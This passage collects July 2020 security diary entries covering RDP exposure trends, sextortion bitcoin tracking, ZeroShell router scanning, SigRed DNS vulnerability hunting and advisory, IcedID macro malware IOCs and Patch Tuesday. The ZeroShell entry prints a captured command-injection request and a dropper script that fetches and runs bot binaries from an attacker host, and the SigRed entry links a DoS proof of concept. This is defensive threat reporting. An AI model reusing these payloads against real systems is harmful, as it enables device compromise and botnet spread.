A country where this expectation would prove to be wrong – at least in the case of RDP – would be the United States. This may be because most restrictions on free movement, which were put in place in the US, were enforced only on a regional or at most state level, or perhaps because organizations in the US chose to provide access to the protocols we’re interested in only through VPN connections. This is only a speculation, however. Whatever the reason, although we may see a steady increase for both SSH and Telnet since the beginning of March, the number of IP addresses with exposed RDP first fell significantly at the beginning of the year and then remained more or less constant with only couple of temporary increases visible in data following implementation of the first travel restrictions.

As we may see, the regional trends don’t necessarily always follow the global ones and may sometimes even be a bit counterintuitive...

[1] https://untrustednetwork.net/en/2020/04/02/open-ports-in-the-time-of-corona/
[2] https://blog.shodan.io/trends-in-internet-exposure/

-----------
Jan Kopriva
@jk0pr
Alef Nula

0 Comments

Published: 2020-07-20

Sextortion Update: The Final Final Chapter

Even though the Sextortion emails which began in the July of 2018 are old news, and old hat, I am still tracking the BTC Addresses that were holding the money from the successful transactions.  For those of you who don't want to know the end before reading the rest of the novel, here are the earlier diaries in this thread.

New Extortion Tricks: Now Including Your Password!

Sextortion - Follow the Money

Sextortion - Follow the Money Update

Sextortion: Follow the Money Part 3 - The cashout begins!

Sextortion: Follow the Money - The Final Chapter

In the end I wound up tracking 568 BTC addresses and a total of nearly $800,000 USD in Bitcoins.  In the previous diaries we saw a great deal of that money move out, but I was still tracking  25 BTC addresses that still had value in them.  As of the the end of June it looks like the bad guys have cashed out for good.  On June 27th the final $102,000 USD In Bitcoins were removed leaving a balance in the tracked addresses of $0 USD.

Address USD rcvd USD Sent USD Balance
16yctF9Pcn6R2dxWArWhhefSriwm5EXjU $2,612.03 $2,612.03 $0.00
1MderAUaVEd63ZfQoBdBMV5BebRjhpZQNR $1,385.69 $1,385.69 $0.00
1NM9rA5Vf77aa4T1u65GwBQEV3CALRdobd $2,795.21 $2,795.21 $0.00
13vGEE5kaKs3PJF5BgZuCAXDT1tG6RYB47 $3,837.26 $3,837.26 $0.00
14vV5r269zMEEHZm3mBzy7tQ5cM7BTgbBk $2,758.50 $2,758.50 $0.00
15uP5UQ8i5L7Qyue1RX99HhkurYN89NXNZ $4,427.75 $4,427.75 $0.00
175MK9MUg14aXmZEmevDn5wTKRHozkwAW7 $3,936.69 $3,936.69 $0.00
17evj6D2chJCzM5aopd2XBVDF2ykVn6mFG $3,758.92 $3,758.92 $0.00
17rtWVRWCFn9hCU9fv1ofk4P9nmH4ppyQx $4,771.40 $4,771.40 $0.00
18gtU4aXt1qff28umXdxRRiZZik7mYbZDd $1,270.12 $1,270.12 $0.00
19224kBa2V1PyPntEhiJmkBgh6RGyGH3Vj $7,054.65 $7,054.65 $0.00
1GQK1MNV5N7B9pV8L63W7nGfChJkKp7ymq $7,123.50 $7,123.50 $0.00
1Ga8DJwrYE33vEt14TH7mC2bV7QqYFDpAc $2,729.62 $2,729.62 $0.00
1GmFDCJftoMtvpGG47RnC8xC6uHVEdVpoZ $2,479.59 $2,479.59 $0.00
1Gsgt8XrvoUAvLZ1H68tJbvUe6JuQV7P6h $6,146.77 $6,146.77 $0.00
1K8xBjjuXdE5Hdy3vEsEtKJx2RyEaYx3be $10,511.17 $10,511.17 $0.00
1LdjLs5LTpSaLuAEQEfza9EUqQKAGEu5Xc $2,384.74 $2,384.74 $0.00
1DKi24gXEZVbHLimbtcWgVB6kMw4yKoPME $2,475.47 $2,475.47 $0.00
1DtYVj17ALgvjf2NDYc2MLEUXsm6mmA91H $3,704.10 $3,704.10 $0.00
1F8dxmQMskgBowr6AW33P3biLfvopLTmYf $2,863.76 $2,863.76 $0.00
1BwbRw85ZuPWj8V7CfJRfRqev6B67QLNzN $2,591.85 $2,591.85 $0.00
1C3w2ZcNm4o4H6fukuktsDbg5X7JsetNza $4,907.29 $4,907.29 $0.00
1DA1PzX9q9Mwpjdde9iF6xGjUJ4JTYCsiP $2,286.29 $2,286.29 $0.00
1QAVaukg4es84us9XRTaPqztYB1XXoXEdA $7,085.53 $7,085.53 $0.00
1ycRDEbXCD1nXXoEz8pfQJjDbZSALvH29 $6,208.67 $6,208.67 $0.00
  ----------------- ----------------- -----------------
  $102,106.57 $102,106.57 $0.00

 

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

0 Comments

Published: 2020-07-19

Scanning Activity for ZeroShell Unauthenticated Access

In the past 36 hours, an increase in scanning activity to exploit and compromise ZeroShell Linux router began. This router software had several unauthenticated remote code execution released in the past several years, the last one was CVE-2019-12725. The router latest software version can be dowloaded here.

This is an example of the logs captured by the honeypot:

20200719-094737: 192.168.25.9:80-138.91.224.48:59932 data 'GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://5.206.227[.]228/zero;sh zero;" HTTP/1.0

Each shell scripts listed below download various forms of exploit against ZeroShell routers.

Content of filename zero
cd /tmp
curl -O hxxp://5.206.227[.]228/bot.x86_64; chmod 777 bot.x86_64; ./bot.x86_64
curl -O hxxp://5.206.227[.]228/bot.x86; chmod 777 bot.x86; ./bot.x86

Indicators of Compromise

http://5.206.227[.]228/zero         -> Shell Script
http://5.206.227[.]228/bot.x86
http://5.206.227[.]228/bot.x86_64
http://5.206.227[.]228/jaw         -> Shell Script
http://5.206.227[.]228/bot.arm5
http://5.206.227[.]228/bot.arm6
http://5.206.227[.]228/bot.arm7
http://5.206.227[.]228/curl         -> Shell Script

Snapshot of some of the content in filename bot.x86

SH256 Hash

bot.x86    ebfa0aa59700e61bcf064fd439fb18b030237f14f286c6587981af1e68a8e477  
bot.x86_64 6027d9ec503f69dbb58560a63e6acd62d7ab93f36bf8f676d282394a0e55be95
bot.arm5   ea0bd1002078bb304b20d8ce5c475b622c0b13656bee37841a65d19c59223259  
bot.arm6   64814ee2f5a98b9ae96b58cf6d9dc08fe12460070bd55ca8d7e138f9765fcffb  
bot.arm7   e077670ff29678f0b10875dc9be0603d9a65c402b9aae48b793e6f041140a9bd  

[1] https://zeroshell.org/
[2] https://www.cvedetails.com/cve/CVE-2009-0545/
[3] https://www.exploit-db.com/exploits/41040
[4] https://www.tarlogic.com/advisories/zeroshell-rce-root.txt
[5] https://www.virustotal.com/gui/file/ebfa0aa59700e61bcf064fd439fb18b030237f14f286c6587981af1e68a8e477/detection
[6] https://www.virustotal.com/gui/file/6027d9ec503f69dbb58560a63e6acd62d7ab93f36bf8f676d282394a0e55be95/detection
[7] https://www.virustotal.com/gui/file/ea0bd1002078bb304b20d8ce5c475b622c0b13656bee37841a65d19c59223259/detection
[8] https://www.virustotal.com/gui/file/64814ee2f5a98b9ae96b58cf6d9dc08fe12460070bd55ca8d7e138f9765fcffb/detection
[9] https://www.virustotal.com/gui/file/e077670ff29678f0b10875dc9be0603d9a65c402b9aae48b793e6f041140a9bd/detection

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

1 Comments

Published: 2020-07-18

Zone.Identifier: A Couple Of Observations

In diary entry "Sysmon and Alternate Data Streams", we reported that Sysmon records the content of small Alternate Data Streams (containing text) in the event log.

This is useful for the Zone.Identifier ADS, a stream that is added by many browsers to mark a file as orginating from the Internet.

Modern browsers will include extra information in Zone.Identifier, like the URL:

Marc Russinovich explained that this new feature in Sysmon is useful for forensics for example, to figure out from where a particular file was downloaded.

I did the download above using Chrome, with a normal window.

When I use an incognito window, the URL is not recorded:

Marc also explained that this extra info in the Zone.Identifier stream was generated by functions in the urlmon DLL.

That gave me the idea to test this out in VBA (UrlDownloadToFile is a function exported by the urlmon DLL that is often used by malware authors):

Unfortunately, no Zone.Identifier stream is created in this case:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

0 Comments

Published: 2020-07-16

Hunting for SigRed Exploitation

.Between the twitter hack and SigRed, yesterday was a little sporty for us all. I spent the last day hunting for SigRed exploitation in the wild. My dataset is passive DNS, but more on that hunting in a bit. Checkpoint's write up is here for reference. Since this flaw has to do with SIG record processing, it greatly limits the search space to find exploitation.

If you run Microsoft DNS server in your organization (odds are you do), there are a couple of quick detections you can implement. The first is a suricata rule developed by Positive Technologies out of Russia looking for the fingerprints of the a PoC in the query. You can access the rule at their github here. This should detect any response with the exploit in it that is traversing your network regardless of whether you are running Microsoft AD or not.

If you are running Microsoft DNS, by turning on Analytical Logs, you can see requests and responses. This has the advantage of enabling a few DNS hunting techniques which you can read a few about here. Even if the exploit fails (or it succeeds) it appears the exploit SIG record is written to logs. It should be easy to spot as the exploit record is much larger than a normal SIG record.

Passive DNS, as you may know, relies on a sensor that logs all queries and responses and makes those available in a queryable database. Most usage involves finding the history of a domain in terms of IPs it uses, or to find hostnames associated with an IP. However, the sensor logs all queries and responses which make it easy (in theory) to search for "off-protocol" use of DNS. In order for SigRed to work, an attacker has to own a domain to create malicious SIG records and I've been hunting for such usage (unsuccessfully). It's possible to create an IP feed for people making malicious queries, but better to identify the malicious domains instead.

The important feature of passive DNS is that it keeps a historical record. I was interested to see if this attack was used in the wild before the report. One limitation of passive DNS is that it is limited by wear sensors exist and few enterprises, especially interesting ones that are more attractive to APT attacks (the more likely user of this before Checkpoint's report) likely do not have passive DNS sensors near their internal DNS servers and give that information openly. However, in the past I've been able to use passive DNS to rebuild all communications over years of threat actors using DNS exfiltration. This is why it is also important, even if you don't share DNS query logs, that you store this information over a long term

We're maybe a day or so before there is widespread exploitation (if history is any guide), make sure to employ the detections above and write in if you see this occurring in the wild.

--
John Bambenek
bambenek \at\ gmail /dot/ com
ThreatSTOP

0 Comments

Published: 2020-07-15

PATCH NOW - SIGRed - CVE-2020-1350 - Microsoft DNS Server Vulnerability

* THIS POST WILL BE UPDATED AS NEW INFORMATION BECOMES AVAILABLE *

Yesterday, Microsoft released a patch for CVE-2020-1350, fixing a critical vulnerability in it's DNS server. The vulnerability is 17 years old. All current versions of Microsoft's server back to 2003 are affected. The vulnerability earned a CVSS score of 10, indicating that it allows a full remote system compromise without any authentication. An exploit could likely spread without user interaction ("wormable").

A server is vulnerable if the DNS role is enabled. Note that Active Directory and Kerberos require DNS, and domain controllers usually have the DNS role enabled. This will put the domain controller at risk!

The vulnerability is triggered by an oversized DNS response containing a "SIG" record. 

The basic exploit flow would look like:

  • The attacker triggers a DNS query (for example, the victim visits a web page, or the attacker is sending an email to the victim). For a badly configured ("open recursive") name server, the attacker may just send a query to the name server directly.
  • The victim DNS server will query the attacker's name server via UDP. By default, name servers will send queries via UDP first.
  • The attacker responds with a truncated response, indicating that the response is too large for UDP.
  • The victim will now re-send the request via TCP
  • The attacker will respond with the exploit.

To trigger the exploit, the size of the response has to exceed 64kBytes. However, this does not mean that the attacker has to send more then 64kBytes (the attacker can't! DNS replies over TCP max out at 64kBytes). Instead, the attacker's response will take advantage of "pointers", to compress the response. It will be expanded (and trigger the exploit) on the victim's DNS server.

Note that some fake (prank) exploits are being advertised.

So far, one "real" PoC was released. It does not execute code but may cause the DNS server to crash. The exploit implements a simple DNS server that will respond with a truncated response to UDP queries, and an oversized SIG record if a query is sent via TCP.

Exploit: hxxps://github[.]com/maxpl0it/CVE-2020-1350-DoS [ Download at your own risk ]
PCAP collected using the exploit: https://isc.sans.edu/diaryimages/sigxploit.pcap 

zeek script to detect the exploit:

event dns_unknown_reply(c: connection, msg: dns_msg, ans: dns_answer) {
      if ( ans$qtype==24 && c$resp$size > 65000 ) {
           print "CVE-2020-1350 Exploit";
      }
}

Cisco published a rule for it's Talos/Snort subscribers (for pay only). In my experiments and as I read the rule, the rule does not work and does not look for the correct artifacts. There is an Emerging Threats rule that I have not had a chance to review.

We are monitoring for actual exploits, and expect to adjust the Infocon level to "yellow" if a working RCE exploit is released (see our Infocon page at https://isc.sans.edu/infocon.html ).

For more details, see Checkpoint's blog:

https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/

For mitigation techniques, see Microsoft's article.

https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

4 Comments

Published: 2020-07-15

Word docs with macros for IcedID (Bokbot)

Introduction

Today's diary reviews Microsoft Word documents with macros to infect vulnerable Windows hosts with IcedID malware (also known as Bokbot) on Tuesday 2020-07-14. This campaign has previously pushed Valak or Ursnif, often with IcedID as the follow-up malware to these previous infections.


Shown above: A list for some of the Word documents seen from this campaign on 2020-07-14.


Shown above: Screenshot from one of the Word documents.

Infection activity

Enabling macros caused the victim host to generate an HTTP request ending in .cab that returned a Windows DLL file.


Shown above: HTTP request ending in .cab that returned a DLL file.

This DLL file was saved to the victim host in the same directory as the Word document, and it was run using regsvr32.exe [filename].


Shown above: Location the DLL was saved to on the victim host, run with regsvr32.exe.

During a successful infection, we saw HTTPS traffic to ldrglobal[.]casa and subsequent HTTPS traffic to various domain names ending in .top.


Shown above: Traffic from an infection filtered in Wireshark.

The IcedID installer uses steganography as part of its infection process, something reported in December 2019 by Malwarebytes and described by other vendors since then. We saw evidence of steganography typical with IcedID in the infected user's AppData\Local\Temp directory. In this directory, we found a file name ending in .tmp that was a PNG image file, and we also found a Windows executable (EXE) file for IcedID with a file name ending in .exe.


Shown above: PNG image (file name ending in .tmp) with encoded data used to create EXE for IcedID (file name ending in .exe).

During the infection process, we saw another PNG image that also has encoded data associated with the IcedID infection.


Shown above: Another PNG file containing encoded data associated with the IcedID infection.

IcedID was made persistent on the Infected Windows host through a scheduled task as shown below.


Shown above: IcedID malware persistent on the infected Windows host.

Indicators of Compromise (IOCs)

35 examples of Word docs with macros for IcedID (read: SHA256 hash  file name)

  • 0eb595354a8cdc77bf0a777c6d4ea5f0140ea5c7e26050325b1db7f7de50aa23  certificate-07.14.2020.doc
  • 10eaa9b156e265fb23cd715743f6a99529cea188ab99a3e298a6e6ae2f957ca0  legislate 07.14.2020.doc
  • 23309566de8ac0c7ae3331db0acbbc0e2d73948e83e18d17d428f38660105262  charge_07.14.20.doc
  • 27c347612d0c45694f12436b87212c0bd97c7d5c9762c47364f2ade9facf5d7a  bid,07.14.2020.doc
  • 2bfe81e6ce5bb447a54de0aa7f99f85d893d9ac2927b03265f2faacef1533ff7  document-07.14.2020.doc
  • 341c393143004d48287b363bc116151c64354ab7cbcec5dadc030e4846865486  files_07.20.doc
  • 37d476eace9a5e5658238378c20ac8c58a2f20388999c32bc5519ed922fbff6f  legal paper,07.14.20.doc
  • 3d022cb2a7f029d9c957a4f8a34df81aa344ee081625d0d074ea3301460912ff  material 07.14.20.doc
  • 4362dd22eeabc132303d483dc8af3a667a8f6e7078e86df02019141bcd6a831f  documents,07.14.2020.doc
  • 46c0995eaebefc10ea612e09933f665883317154515e31468e135b20db433473  documents-07.20.doc
  • 4a2254691a0f7724ab775469c53a01154eacb2d014cf04b71f9aa5a93834e320  instrument indenture_07.14.2020.doc
  • 54a1b9d8fde754952b2e4afacc10457bdfb13325d440988cc7424984153caab3  command 07.20.doc
  • 5ff7136ff81c7c7e4b324430a5a0ee98989ca597d40d4d395eda50031994fc7d  legislate_07.14.2020.doc
  • 67794894846550f29040574d2d2aeb8002225c17bbd47090c6d221022e9cb368  details.07.14.2020.doc
  • 6c21170ee4c310fad7a989bae8c08f591f0648c4099822d7931efbbaec99fa39  legislate.07.20.doc
  • 78a95425c0214c050fafa5a3cc6f40d8799a37910100781020120d12cf04dd00  charge.07.20.doc
  • 7bee429e343d642a0ec076b2835e59d220374d038318a3ff87e2883b2d97df46  order,07.20.doc
  • 7f4c6a6b241a89531e909def54254f995865431ae7d00ba5722b0bcdf52fb7ff  inquiry,07.20.doc
  • 9df7c9ac68abc525fbb685d88a91dc9fb0a62d565a61d99b1b4a9e64d2441da5  enjoin 07.14.2020.doc
  • b2303e5ce1a67a85d66031163421fdb221a021fda89d21a1dba1b448acfae8eb  commerce .07.20.doc
  • b4810d726b778bc2f48443157985fdc981e1065454c3dfecec758a0ba39c8789  official paper,07.20.doc
  • b7f2dddd27a7118f6f6cc3923f2af1f83ca5b8ea722ea05f6b27845469899c67  files.07.20.doc
  • bb9b7bf7e2fdefe4fcb05e44f267239955d6c75db7ebf1d6b9926b8e4b1f3330  intelligence.07.20.doc
  • bdda92c5990ded4fd7ef2c4acfa840c0c94d2d56979b99aa4c6284f33cd9d87c  input_07.14.2020.doc
  • c309791c87fb74d43b2b1717c6885ee38cc79971a843f14b46ccf9425fea40ea  instruct_07.14.20.doc
  • c91a48ee32bf0d27b05dfc3703a4ecc96941485b23055e023d0dcffccebdb802  facts_07.14.20.doc
  • d089f14ebdb9ef21a02788fc7d6ee4e32667f5b9fee4ed35e871658f612766eb  figures.07.20.doc
  • d56151602f8851a8113244d0cd38a98a04f743abc6f1b1f0cc29fa9df9c92e9a  ordain,07.14.2020.doc
  • d885d083270df417a78eef7ed4d5d45111ee20e942db3500a2c48699cf8107eb  inquiry_07.20.doc
  • db86431d984efcabaa6645e31eb1fe9bc8ba3b5cf5b80f4eff9306c792301473  order,07.14.2020.doc
  • ddf852ab72ee8ef151f6631bc3fffecd5c71ed240c53005d06d8c677a98d8725  command,07.20.doc
  • eba61461d1da64f0276919d253c8eac99c6381abbab51fcf3e61b1df18fdc1d7  details 07.14.2020.doc
  • ec4749ccc459451f550ef4203595161d31fd393ad2a7ef0147af060faa627308  input,07.14.2020.doc
  • f68bb42ce6d65902275468d5589521805e76a06b724824eb72c6bc1754359d9e  commerce _07.20.doc
  • f9255ededfb06ea33aa41c77a7e664c84951fbd6f8222cf0e49340a8510b4452  inquiry_07.14.20.doc

Domains called by the Word macros for the initial malware DLL (read: domain name - IP address)

  • 1bwsl4[.]com - 37.230.113[.]85
  • 804gtd[.]com - 185.139.70[.]165
  • m33xa3[.]com - 91.235.129[.]43
  • n9i9ep[.]com - 185.144.31[.]90
  • nm5oi0[.]com - 81.29.134[.]62
  • uhq943[.]com - 95.181.187[.]5

HTTP GET requests for the initial malware DLL

  • GET /hboneb/sol95.php?l=puom1.cab
  • GET /hboneb/sol95.php?l=puom2.cab
  • GET /hboneb/sol95.php?l=puom3.cab
  • GET /hboneb/sol95.php?l=puom4.cab
  • GET /hboneb/sol95.php?l=puom5.cab
  • GET /hboneb/sol95.php?l=puom6.cab
  • GET /hboneb/sol95.php?l=puom7.cab
  • GET /hboneb/sol95.php?l=puom8.cab
  • GET /hboneb/sol95.php?l=puom9.cab

18 examples of the initial malware DLL, all installers for IcedID (Read: SHA256 hash  file name)

  • 09a643588abf74030e68df106c9432ae3c5bc4fecd2afb1cca5a82b28fe30223  Tm.tmp
  • 11e539a659db77e56b85608659f513e4f97b2b2d6a757b4376141eeecd3728f5  lV.tmp
  • 135aecd78ba525b2cbb5547b3e43d5713fd43e3e5a9c14452fc6e25ce85998fc  uZ.tmp
  • 2ea61a28711cd9ac50e849c85c041faf5799e306beedaf0444df3a00a4aa0ea6  Mb.tmp
  • 2f2683e21a11c6ce0848ad2a6ecc8999c91967c15a20bf2ccafe0fb9720b7607  nl.tmp
  • 3fa22573e71c3c461a84acc5c469b5ec5955d317e506c854e7d2d1faea7868ea  Q9.tmp
  • 6fede71248803463757ea05e875e0cdb97d38245c0d28597639aa797a90987ce  qg.tmp
  • 7c06717c56a7890c1763ecc52950dbe81265e15910508e29c79a47a23804aec2  C8.tmp
  • 7eff8901e4f77417a33b4d017a84636d2d8e04c520440511743f945e29e5dda0  d6.tmp
  • a421e1ac6cd39b7709d8929329b2135cb0f1eaea48edc296d03f0b3f41058282  Hf.tmp
  • a59ac4ed7c883d86bac18305763a43e86438455f259560f21fe30a10c2adb6b8  q4.tmp
  • a8967cdcb91ea12285cd9f365ef73895bf90283dbc00f197cfb49cec3c8c3886  nl.tmp
  • b225c3f7f23b2952c54b5d6f7b68f5b90fceb57465e552be33da54e375aab57a  d6.tmp
  • c1a91bfb28f0b216ccb04c7b704dfb4167a2e498cbd4c10bb954529608033aba  nl.tmp
  • c7fd1d9a9cd1fd3351c43763d262ba441d725ad6e34f6a842edb8ce77ac7a614  yH.tmp
  • de5b9a63d071b34ca0951e2c078687d9f8ac5626eec37792c94287608da177c0  E5.tmp
  • ea01f383b43070155d6ce02e6123e53f4aa29488b087f631c9ee4c8afa9da674  FZ.tmp
  • ffb08f27fe1710bc42fed4f350c79885d1a176111b9e4fdcc0b077cb2fe983a7  FZ.tmp
     
  • Note 1: These DLL files are usually located in the same directory as the Word doc. In one case, the Word doc was in the Downloads folder, but the DLL appeared in C:\Users\[username]\Documents instead.
     
  • Note 2: Run method for these DLLs is regsvr32.exe [filename]

Traffic from a successful IcedID infection on a Windows 7 host

  • port 443 (HTTPS) - support.apple.com - decoy traffic caused by IcedID (not malicious)
  • port 443 (HTTPS) - support.microsoft.com - decoy traffic caused by IcedID (not malicious)
  • 104.248.62[.]43 port 443 (HTTPS) - ldrglobal[.]casa - GET /background.png
  • port 443 (HTTPS) - www.intel.com - decoy traffic caused by IcedID (not malicious)
  • port 443 (HTTPS) - help.twitter.com - decoy traffic caused by IcedID (not malicious)
  • port 443 (HTTPS) - support.oracle.com - decoy traffic caused by IcedID (not malicious)
  • 194.5.249[.]158 port 443 (HTTPS) - slizilinno[.]top - HTTPS traffic caused by IcedID
  • 194.5.249[.]158 port 443 (HTTPS) - portivitto[.]top - HTTPS traffic caused by IcedID
  • 194.5.249[.]158 port 443 (HTTPS) - mramoritto[.]top - HTTPS traffic caused by IcedID

Malware and artifacts from the IcedID infection

SHA256 hash: a7ad6e44b04de2a1ee35ea4db024efd60d5d49a075491592ed666d187797dfd7

  • File size: 573,767 bytes
  • File location: C:\Users\[username]\AppData\Local\Temp\~331517.tmp
  • File type: PNG image data, 762 x 400, 8-bit/color RGB, non-interlaced
  • File description: PNG image with encoded data used to create IcedID EXE below, not inherently malicious on its own

SHA256 hash: f7ba573893a9c59c66d4d54c8259ab6ac1e6e8b90c580f267a10bf333bcfd531

  • File size: 569,344 bytes
  • File location: C:\Users\[username]\AppData\Local\Temp\~446334.exe
  • File description: Windows executable for IcedID malware created using encoded data from the above PNG file

SHA256 hash: 9ad02a119c0df3fb652557b2b5c3136a3fb7f80e78774f1bffd5237eb2d9a514

  • File size: 569,344 bytes
  • File location: C:\Users\[username]\AppData\Local\jifa32\Ugikio32.exe
  • File description: Windows executable IcedID malware persistent on infected host (same file as above with different hash)

SHA256 hash: e6e0adcc94c3c4979ea1659c7125a11aa7cdabe24a36f63bfe1f2aeee2c5d3a1

  • File size: 669,381 bytes
  • File location: C:\Users\[username]\AppData\Roaming\[username]\haopac3.png
  • File type: PNG image data, 614 x 514, 8-bit/color RGB, non-interlaced
  • File description: PNG image with encoded data associated with IcedID infection, not inherently malicious on its own

Final words

I normally run malware in a Windows 10 environment, but when testing these Word docs, I was unable to generate a full infection chain until I used a Windows 7 host.

This is a good reminder of how Windows 10 provide a more secure environment compared to Windows 7. People who follow best security practices while running the latest version of Windows are unlikely to get infected from this malware. However, we continue to see this and other campaigns on a daily basis. So this type of distribution apparently remains profitable for the criminals behind the malware.

A pcap of the infection traffic and malware samples for today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

0 Comments

Published: 2020-07-14

Microsoft July 2020 Patch Tuesday - Patch Now!

This month we got patches for 123 vulnerabilities. Of these, 17 are critical and 2 were previously disclosed.

Amongst critical vulnerabilities, there is a critical remote code execution (RCE) vulnerability (CVE-2020-1350) affecting Windows DNS Server on multiple Windows Server versions, including 2008, 2012, 2016 and 2019. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the Local System Account.

The DNS Server vulnerability scores a perfect 10 CVSS and is considered wormable, which means it has the potential to spread via malware vulnerable computers without user interaction. Microsoft advises everyone running DNS servers to apply the security update as soon as possible. For those unable to apply the patch right way, Microsoft recommends the application of a workaround, described on the CVE-2020-1350 vulnerability advisory details. The workarround consists on a registry modification and requires just the service restart - no need to reboot the OS. There is a special guidance for the DNS Server vulnerability including further details about the workaround here: https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability

There is also a critical RCE vulnerability affecting Windows Graphics Device Interface (GDI) (CVE-2020-1435). An attacker could exploit this vulnerability by convincing users to view a specially crafted website or sending them an e-mail attachment with a malicious attachment. The CVSS score for this one is 8.80.

A third RCE worth mentioning in today’s diary affects Hyper-V RemoteFX vGPU (CVE-2020-1036). To exploit this vulnerability, an attacker could run a specially crafted application on a guest operating system, attacking certain third-party video drivers running on the Hyper-V host. This could then cause the host operating system to execute arbitrary code. There is no patch for this vulnerability yet. According to the vulnerability FAQ, If you are running Windows Server 2016 or Windows Server 2019, Microsoft recommends the use of  Discrete Device Assignment (DDA) as opposed to RemoteFX vGPU to enable graphics virtualization. For more details, read: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1036

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
.NET Framework, SharePoint Server, and Visual Studio Remote Code Execution Vulnerability
%%cve:2020-1147%% No No More Likely More Likely Critical    
Azure DevOps Server Cross-site Scripting Vulnerability
%%cve:2020-1326%% No No Less Likely Less Likely Important    
Bond Denial of Service Vulnerability
%%cve:2020-1469%% No No Less Likely Less Likely Important    
Connected User Experiences and Telemetry Service Information Disclosure Vulnerability
%%cve:2020-1386%% No No Less Likely Less Likely Important 5.5 5.0
DirectWrite Remote Code Execution Vulnerability
%%cve:2020-1409%% No No Less Likely Less Likely Critical 7.8 7.0
GDI+ Remote Code Execution Vulnerability
%%cve:2020-1435%% No No Less Likely Less Likely Critical 8.8 7.9
Group Policy Services Policy Processing Elevation of Privilege Vulnerability
%%cve:2020-1333%% No No Less Likely Less Likely Important 6.7 6.0
Hyper-V RemoteFX vGPU Remote Code Execution Vulnerability
%%cve:2020-1032%% No No Less Likely Less Likely Critical 8.0 7.6
%%cve:2020-1036%% No No Less Likely Less Likely Critical 8.0 7.6
%%cve:2020-1040%% No No Less Likely Less Likely Critical 8.0 7.6
%%cve:2020-1041%% No No Less Likely Less Likely Critical 8.0 7.6
%%cve:2020-1043%% No No Less Likely Less Likely Critical 8.0 7.6
%%cve:2020-1042%% No No Less Likely Less Likely Critical 8.0 7.6
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2020-1400%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1401%% No No Less Likely Less Likely Important 7.8 7.0
%%cve:2020-1407%% No No Less Likely Less Likely Important 7.8 7.0
LNK Remote Code Execution Vulnerability
%%cve:2020-1421%% No No Less Likely Less Likely Critical 7.5 6.7
Local Security Authority Subsystem Service Denial of Service Vulnerability
%%cve:2020-1267%% No No Less Likely Less Likely Important 4.9 4.4
Microsoft Defender Elevation of Privilege Vulnerability
%%cve:2020-1461%% No No Less Likely Less Likely Important 7.8 7.0
Microsoft Edge PDF Information Disclosure Vulnerability
%%cve:2020-1433%% No No Less Likely Less Likely Important 4.3 3.9
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2020-1240%% No No Less Likely Less Likely Important    
Microsoft Graphics Component Information Disclosure Vulnerability
%%cve:2020-1351%% No No Less Likely Less Likely Important 5.5 5.0
Microsoft Graphics Components Remote Code Execution Vulnerability
%%cve:2020-1412%% No No Less Likely Less Likely Important 7.5 6.7
Microsoft Graphics Remote Code Execution Vulnerability
%%cve:2020-1408%% No No Less Likely Less Likely Important 8.8 7.9
Microsoft Guidance for Enabling Request Smuggling Filter on IIS Servers
ADV200008 No No Less Likely Less Likely Important    
Microsoft Office Elevation of Privilege Vulnerability
%%cve:2020-1025%% No No Less Likely Less Likely Critical    
Microsoft Office Information Disclosure Vulnerability
%%cve:2020-1342%% No No Less Likely Less Likely Important    
%%cve:2020-1445%% No No Less Likely Less Likely Important    
Microsoft Office Remote Code Execution Vulnerability
%%cve:2020-1458%% No No Less Likely Less Likely Important    
Microsoft Office SharePoint XSS Vulnerability
%%cve:2020-1456%% No No Less Likely Less Likely Important    
%%cve:2020-1450%% No No Less Likely Less Likely Important    
%%cve:2020-1451%% No No Less Likely Less Likely Important    
Microsoft OneDrive Elevation of Privilege Vulnerability
%%cve:2020-1465%% No No Less Likely Less Likely Important    
Microsoft Outlook Remote Code Execution Vulnerability
%%cve:2020-1349%% No No Less Likely Less Likely Critical    
Microsoft Project Remote Code Execution Vulnerability
%%cve:2020-1449%% No No Less Likely Less Likely Important    
Microsoft SharePoint Reflective XSS Vulnerability
%%cve:2020-1454%% No No Less Likely Less Likely Important    
Microsoft SharePoint Remote Code Execution Vulnerability
%%cve:2020-1444%% No No Less Likely Less Likely Important    
Microsoft SharePoint Spoofing Vulnerability
%%cve:2020-1443%% No No Less Likely Less Likely Important    
Microsoft Word Remote Code Execution Vulnerability
%%cve:2020-1446%% No No Less Likely Less Likely Important    
%%cve:2020-1447%% No No Less Likely Less Likely Important    
%%cve:2020-1448%% No No Less Likely Less Likely Important    
Office Web Apps XSS Vulnerability
%%cve:2020-1442%% No No Less Likely Less Likely Important    
PerformancePoint Services Remote Code Execution Vulnerability
%%cve:2020-1439%% No No Less Likely Less Likely Critical    
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2020-1374%% No No More Likely More Likely Critical 7.5 6.7
Skype for Business via Internet Explorer Information Disclosure Vulnerability
%%cve:2020-1432%% No No Less Likely Less Likely Important 2.4 2.2
Skype for Business via Microsoft Edge (EdgeHTML-based) Information Disclosure Vulnerability
%%cve:2020-1462%% No No Less Likely Less Likely Important 4.3 3.9
VBScript Remote Code Execution Vulnerability
%%cve:2020-1403%% No No More Likely More Likely Critical 6.4 5.8
Visual Studio Code ESLint Extention Remote Code Execution Vulnerability
%%cve:2020-1481%% No No Less Likely Less Likely Important    
Visual Studio and Visual Studio Code Elevation of Privilege Vulnerability
